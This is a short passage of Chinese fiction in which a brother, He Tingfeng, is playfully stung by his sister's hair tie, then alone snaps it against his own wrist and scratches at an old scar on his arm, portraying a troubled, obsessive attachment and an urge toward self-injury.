她故意将发圈撑得很大,套进哥哥的手腕再猛地松开。 发圈在他手上弹出浅红色的痕迹,贺听风的手也反射性地颤一下。 “恩将仇报?”他佯装伤心地看一眼妹妹。 江识月骄矜点头:“嗯!我是白眼狼!” “贫嘴,走了。” 他手上常年戴着一根发圈,都是从江识月这里拿的。 也不是什么为了挡桃花之类的借口,只是有一段时间妹妹格外喜欢披发,自己就总忘记带发圈。 贺听风便从她那里拿一根随身备着,免得江识月吃饭或是做事时想绑起头发却找不到用的。 后来…… 贺听风回到自己的住处,走进浴室关上门。 冰凉的流水注入盥洗池,他撩起衣袖掬一捧泼到脸上,想借此降下心中焦躁。 无济于事。 右手抚过腕上红痕已经消散的地方,试图仔细回想品味江识月曾留在他身上的疼痛。 他手指勾起发圈将之抻长拉高到极限,猛然松手! 皮筋在手腕鞭出更鲜艳的痕迹,吸附在里头的水珠迸溅出来,细密地下一场雨。 不一样。 这和妹妹给予他的感觉完全不一样。 贺听风握紧拳头,感觉手臂上的伤疤又在发痒,它似乎想要再一次绽开,让体内燥热的血可以外渗流淌。 他不受控制地抓挠左臂。 那里有一道狰狞的伤疤,像可怖的虫蛇,从腕间向上爬行,蜿蜒到布料遮盖的地方。